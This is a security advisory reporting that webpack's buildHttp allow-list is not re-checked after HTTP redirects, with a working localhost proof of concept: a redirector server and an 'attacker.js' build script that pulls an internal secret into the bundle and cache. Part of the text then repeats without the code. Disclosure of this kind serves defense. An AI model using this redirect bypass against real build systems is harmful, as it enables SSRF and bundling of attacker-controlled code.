Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);
console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();3) Create attacker.js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");
const allowedPort = 9000;
const internalPort = 9100;
const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;
async function walk(dir) {
const out = [];
const items = await fs.readdir(dir, { withFileTypes: true });
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
} catch {
return false;
}
}
async function findInFiles(files, needle) {
const hits = [];
for (const f of files) if (await fileContains(f, needle)) hits.push(f);
return hits;
}
const fmtBool = b => (b ? "✅" : "❌");
(async () => {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedBase],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const secret = m ? m[0] : null;
console.log("\n[ATTACKER RESULT]");
console.log(`- webpack version: ${webpackPkg.version}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
console.log(`- imported URL (allowed only): ${entryUrl}`);
console.log(`- temp dir: ${tmp}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log(`- bundle: ${bundlePath}`);
if (!secret) {
console.log("\n[SECURITY SUMMARY]");
console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
return;
}
const lockHit = await fileContains(lockfile, secret);
let cacheFiles = [];
try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;
const allTmpFiles = await walk(tmp);
const allHits = await findInFiles(allTmpFiles, secret);
console.log(`\n- extracted secret marker from bundle: ${secret}`);
console.log("\n[SECURITY SUMMARY]");
console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
console.log(`- Internal target (SSRF-like): ${internalTarget}`);
console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
console.log(`- ACTUAL: internal content treated as module and bundled`);
console.log("\n[EVIDENCE CHECKLIST]");
console.log(`- bundle contains secret: ${fmtBool(true)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log("\n[PERSISTENCE CHECK] files containing secret");
for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();4) Run
Terminal A:
Terminal B:
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
References
HanJeouk Reporter
alexander-akait Remediation reviewer
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforcesallowedUrisonly for the initial URL, but does not re-validateallowedUrisafter following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.Details
In the HTTP scheme resolver, the allow-list check (
allowedUris) is performed when metadata/info is created for the original request (viagetInfo()), but the content-fetch path follows redirects by resolving theLocationURL without re-checking whether the redirected URL is withinallowedUris.Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to
http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
3) Create attacker.js
4) Run
Terminal A:
Terminal B:
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
References